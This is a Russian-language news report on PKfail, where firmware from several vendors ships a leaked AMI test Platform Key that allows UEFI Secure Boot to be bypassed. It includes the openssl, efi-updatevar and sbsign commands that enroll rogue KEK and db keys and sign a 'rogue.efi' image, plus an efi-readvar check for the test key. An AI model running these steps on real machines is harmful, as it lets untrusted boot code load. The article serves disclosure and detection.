Исследователи безопасности из компании Binarly выявили возможность обхода режима верифицированной загрузки UEFI Secure Boot на более чем 800 продуктах, выпущенных компаниями Acer, Dell, Fujitsu, Gigabyte, HP, Intel, Lenovo и Supermicro. Проблема получила кодовое имя PKfail и связана с использованием в прошивках не заслуживающего доверия ключа платформы (PK, Platform Key), сгенерированного компанией AMI (American Megatrends International) и поставляемого в качестве тестового примера. Наиболее старые прошивки, в которых использовался тестовый ключ, выпущены в 2012 году, а самые новые датированы июнем 2024 года. По данным исследователей проблеме подвержены более 10% всех проверенных прошивок.

В параметрах ключа указывалось, что он не заслуживает доверия и его не следует поставлять в своих продуктах. Подразумевалось, что данный тестовый ключ следует заменить на собственный, но производители не обратили внимание на предупреждение и использовали в итоговых прошивках типовой общий ключ, отправляемый всем партнёрам и клиентам компании AMI.

Закрыта часть тестового ключа AMI, необходимая для создания цифровых подписей, оказалась доступна публично после утечки информации у одного из производителей оборудования, сотрудник которого по ошибке разместил в публичном репозитории на GitHub код, содержащий данный ключ. Закрытый ключ был размещён в зашифрованном файле, при шифровании которого использовался простой 4-символьный пароль, который удалось легко подобрать методом перебора.

Ключ платформы используется в качестве корня доверия для заверения БД с ключами для Secure Boot. Получение закрытой части ключа платформы приводит к компрометации всей цепочки доверия, задействованной при проверке валидности компонентов загружаемой системы — зная ключ платформы можно обойти защиту Secure Boot и организовать подстановку при загрузке собственных компонентов через манипуляцию ключом KEK (Key Exchange Key) и базами данных «db» (Signature Database) и «dbx» (Forbidden Signature Database). KEK отвечает за создание цепочки доверия между прошивкой и операционной системой, «db» содержит сертификаты и подписи для загрузчика и сторонних компонентов UEFI, а
«dbx» включает отозванные подписи известных вредоносных компонентов.

Для совершения атаки достаточно сгенерировать новые ключи и сертификаты для KEK и db, после чего использовать попавший в открытый доступ тестовый ключ платформы для загрузки в UEFI-прошивку созданного KEK-сертификата. Загрузив в прошивку KEK-сертификат можно использовать связанный с ним закрытый ключ для загрузки в БД db нового сертификата. После загрузки сертификата db, связанный с ним закрытый ключ может применяться для заверения загружаемых EFI-компонентов.

   openssl req -newkey rsa:4096 -nodes -keyout KEK.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY KEK/" -out KEK.crt
   openssl req -newkey rsa:4096 -nodes -keyout db.key -new -x509 -sha256 -days 3650 -subj "/CN=BRLY db/" -out db.crt

   efi-updatevar -a -c KEK.crt -k PK.key KEK
   efi-updatevar -a -c db.crt -k KEK.key db
   sbsign --key db.key --cert db.crt --output rogue.efi.signed rogue.efi

Для проверки корректности ключа платформы достаточно запустить утилиту «efi-readvar -v PK» из пакета efitools и убедиться, что ключ платформы не является тестовым:

   efi-readvar -v PK

   Variable PK, length 862
   PK: List 0, type X509
       Signature 0, size 834, owner 26dc4851-195f-4ae1-9a19-fbf883bbb35e
           Subject:
               CN=DO NOT TRUST - AMI Test PK
           Issuer:
               CN=DO NOT TRUST - AMI Test PK

Источник: http://www.opennet.ru/opennews/art.shtml?num=61610